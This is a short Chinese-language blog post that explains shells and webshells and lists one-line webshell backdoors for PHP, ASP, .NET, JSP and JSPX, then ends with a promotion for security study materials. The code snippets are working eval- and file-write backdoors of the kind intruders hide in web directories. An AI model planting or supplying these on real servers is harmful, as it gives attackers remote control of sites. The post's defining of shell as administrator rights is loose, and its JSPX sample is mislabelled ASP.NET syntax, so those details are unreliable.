"牛逼的Shell和WebShell"
- 💻Shell
- 📺webshell
- 📹webshell分類
- 🚟網路安全2021必備資料&滲透測驗&面試
💻Shell
Shell其實是主機的管理員權限，外行人聽著好牛逼，For Example:
- Windows中就是PowerShell
- Linux中就是root權限
📺webshell
WebShell就是以asp、php、jsp或者cgi等網頁檔案形式存在的一種命令執行環境，也可以將其稱做為一種網頁后門，黑客在入侵了一個網站后，通常會將asp或php后門檔案與網站服務器WEB目錄下正常的網頁檔案混在一起，然后就可以使用瀏覽器來訪問asp或者php后門，得到一個命令執行環境，以達到控制網站服務器的目的，
📹webshell分類
webshell根據腳本型別可以分為
- PHP腳本木馬
<?php @eval($_POST[value]);?>
- ASP腳本木馬
<%execute(request(“value”))%>
- .NET腳本木馬
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"value");%>
- JSP腳本木馬
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
- JSPX腳本木馬
<%@ Page Language=“Jscript”%>
<%eval(Request.Item[“value”])%>
根據時代和技術的變遷，國外也有用python撰寫的腳本木馬，不過國內常用的無外乎三種，大馬，小馬，一句話木馬，
🚟網路安全2021必備資料&滲透測驗&面試
不管你是小白還是作業已久不管你在面試還是已跳槽，都應該好好看看這份資料真的超級超級全面幾乎打敗了市面上90%的自學資料并覆寫了整個網路安全 來 肝了它！肯定會對你有幫助！
2021最新整理網路安全\滲透測驗/運維安全學習資料（全套視頻、大廠面經、精品手冊，必備工具包）
網路安全面試題
SRC技術檔案（共186頁）干貨滿滿！！
工具包（最多，不用費勁搜索）
👀 👀 👀關注公眾號免費領⑧👇 👇 👇
轉載請註明出處，本文鏈接：https://www.uj5u.com/ruanti/305251.html
標籤：其他